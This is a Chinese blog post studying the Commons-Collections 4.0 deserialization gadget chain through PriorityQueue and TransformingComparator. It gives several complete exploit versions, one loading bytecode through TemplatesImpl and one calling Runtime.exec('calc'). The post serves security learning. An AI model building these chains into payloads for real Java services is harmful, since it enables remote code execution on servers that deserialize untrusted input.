Java_Commons-Collections 4 学习过程

环境配置

不受JDK版本限制

  • JDK8u65

  • openJDK 8u65

  • Maven 3.8.8

  • Commons-Collections 4.0

    Maven 下载 Commons-Collections 依赖。

<dependency>  
 <groupId>org.apache.commons</groupId>  
 <artifactId>commons-collections4</artifactId>  
 <version>4.0</version>  
</dependency>

链子分析

用到师傅的图

image-20240419172054395

因为还是CC的漏洞所以跟transform()方法脱不了干系

而CC4就是用TransformingComparator类的compare()方法去调用transform然后再走CC3的动态加载字节码去执行命令,或者直接通过transform走Runtime执行命令

image-20240419173949179

compare() 这个方法也是我们比较喜欢的这种,因为它非常常见。

然后就是去找compare() 方法

PriorityQueue 这个类中的 siftDownUsingComparator() 方法调用了 compare() 方法。

image-20240419174233044

然后是同一个类下的siftDown()

image-20240419174337622

然后是heapify()

image-20240419174402620

找到readObject()

image-20240419174449651

编写Exp

链子分析完了然后就是对Exp的初步编写了

package CC4;
​
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
​
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
​
public class Test {
public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        Class templatesClass = templates.getClass();
        Field nameField = templatesClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"nbc");
​
        Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] evil = Files.readAllBytes(Paths.get("S:\\JavaSecureDemo\\CC\\Calc.class"));
        byte[][] codes = {evil};
        bytecodesField.set(templates,codes);
​
        Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
        Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class), instantiateTransformer};
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
        serialize(priorityQueue);
        unserialize("ser.bin");
        }
public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
        }
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
        }
        }

tnnd为什么不弹

发现不弹计算器,我们打个断点调一下在heapify()

image-20240419180018884

发现直接跳出了并没有进入siftDown()

发现在 735 行的时候跳出程序了,原因是这一段 size >>> 1>>> 是移位运算符。

这里我们就要先了解下知识了

PriorityQueue:

PriorityQueue是一个优先队列,即每次出队的元素都是优先级最高的元素。jdk中使用二叉堆这种数据结构:

通过堆使得每次出队的元素总是队列里面最小的,而元素的大小比较方法可以由用户Comparator指定,这里就相当于指定优先级。

PriorityQueue在反序列化时会调用heapify() 方法来恢复堆结构的顺序,heapify() 中调用siftDown() ,在siftDown() 中当用户指定了Comparator,就会调用siftDownUsingComparator()进行排序,它是将⼤的元素下移。

siftDownUsingComparator() 中使⽤Comparator().compare() ⽅法⽐较树的两个节点,此时传入的Comparator为TransformingComparator,由此触发Transformer#transform()造成命令执行。

关于PriorityQueue的详细实现原理,可以参考这篇文章:

https://www.cnblogs.com/linghu-java/p/9467805.html

by Chat GPT

这段代码是在实现堆(Heap)数据结构中的一个方法,该方法用于将一个无序的数组调整为堆的形式。通常堆是通过数组来实现的,数组的索引从0开始,而堆的性质是:对于任意节点i,其左子节点索引为2i+1,右子节点索引为2i+2,父节点索引为(i-1)/2。

在堆化过程中,我们从数组的倒数第二层的最后一个节点开始向上遍历,对每一个节点执行一次下沉(siftDown)操作,以保证节点满足堆的性质。倒数第二层的最后一个节点的索引是(size >>> 1) - 1,这是因为:

  • size >>> 1 是将 size 向右移动一位,相当于将 size 除以 2,表示的是最后一层的节点数量,也就是叶子节点的数量。

  • 减去 1 是因为堆的索引是从0开始的,所以需要将叶子节点的数量减1得到倒数第二层的最后一个节点的索引。

因此,(size >>> 1) - 1 计算出的是倒数第二层的最后一个节点的索引,从这个节点开始往前遍历,对每个节点执行下沉操作,完成堆的构建。

所以Size 就是 PriorityQueue 这个队列的长度,现在我们这个队列的长度为 0,0 - 1 = -1,所以会直接跳出循环,不能弹计算器。

所以至少要加两个元素才能进入siftDown()

package CC4;
​
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
​
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
​
public class Test {
public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        Class templatesClass = templates.getClass();
        Field nameField = templatesClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"nbc");
​
        Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] evil = Files.readAllBytes(Paths.get("S:\\JavaSecureDemo\\CC\\Calc.class"));
        byte[][] codes = {evil};
        bytecodesField.set(templates,codes);
​
        Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());
        
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
        Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class), instantiateTransformer};
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
        priorityQueue.add(1);
        priorityQueue.add(2);
        serialize(priorityQueue);
        unserialize("ser.bin");
        }
public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
        }
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
        }
        }

然后想再打断点看看的时候发现根本没进入就跳计算器了而且还有报错

这是因为priorityQueue.add(1) 这个语句的时候,它内部会自动进行 compare() 方法的执行,然后调用 transform()

add() -> offer() -> siftUp() -> siftUpUsingComparator()

借图

image-20240419183258335

这就可以类似CC6那样在创建 TransformingComparator 类对象,传⼊一个临时的 Transformer 类对象,然后在add之后再用反射改回来

package CC4;
​
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
​
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
​
public class Test {
public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        Class templatesClass = templates.getClass();
        Field nameField = templatesClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"nbc");
​
        Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] evil = Files.readAllBytes(Paths.get("S:\\JavaSecureDemo\\CC\\Calc.class"));
        byte[][] codes = {evil};
        bytecodesField.set(templates,codes);
​
        Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());
​
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
        Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class), instantiateTransformer};
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
        TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
        priorityQueue.add(1);
        priorityQueue.add(2);
        Class c = transformingComparator.getClass();
        Field transformingField = c.getDeclaredField("transformer");
        transformingField.setAccessible(true);
        transformingField.set(transformingComparator, chainedTransformer);
        serialize(priorityQueue);
        unserialize("ser.bin");
        }
public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
        }
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
        }
        }

image-20240419183929912

还可以用Runtime

最终Exp

走动态加载字节码

package CC4;
​
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
​
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
​
public class Test {
public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        Class templatesClass = templates.getClass();
        Field nameField = templatesClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"nbc");
​
        Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] evil = Files.readAllBytes(Paths.get("S:\\JavaSecureDemo\\CC\\Calc.class"));
        byte[][] codes = {evil};
        bytecodesField.set(templates,codes);
​
        Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());
​
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
        Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class), instantiateTransformer};
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
        priorityQueue.add(1);
        priorityQueue.add(2);
​
        Class c = transformingComparator.getClass();
        Field transformingField = c.getDeclaredField("transformer");
        transformingField.setAccessible(true);
        transformingField.set(transformingComparator, chainedTransformer);
        serialize(priorityQueue);
        unserialize("ser.bin");
        }
public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
        }
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
        }
        }

走Runtime

package CC4;
​
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
​
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
​
public class Test {
public static void main(String[] args) throws Exception{
​
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    //        TemplatesImpl templates = new TemplatesImpl();
//        Class templatesClass = templates.getClass();
//        Field nameField = templatesClass.getDeclaredField("_name");
//        nameField.setAccessible(true);
//        nameField.set(templates,"nbc");
//
//        Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
//        bytecodesField.setAccessible(true);
//        byte[] evil = Files.readAllBytes(Paths.get("S:\\JavaSecureDemo\\CC\\Calc.class"));
//        byte[][] codes = {evil};
//        bytecodesField.set(templates,codes);
//
//        Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
//        tfactoryField.setAccessible(true);
//        tfactoryField.set(templates, new TransformerFactoryImpl());
//
//        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
//        Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class), instantiateTransformer};
//        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
    //        TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
        priorityQueue.add(1);
        priorityQueue.add(2);
​
        Class c = transformingComparator.getClass();
        Field transformingField = c.getDeclaredField("transformer");
        transformingField.setAccessible(true);
        transformingField.set(transformingComparator, chainedTransformer);
        serialize(priorityQueue);
        unserialize("ser.bin");
        }
public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
        }
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
        }
        }

弹两遍,就算是只反序列化也弹两遍O.o

参考文章

Java反序列化Commons-Collections篇04-CC3链

commonscollections4利用链分析

JAVA安全|Gadget篇:CC2 CC4链—Commons-Collections4.0下的特有链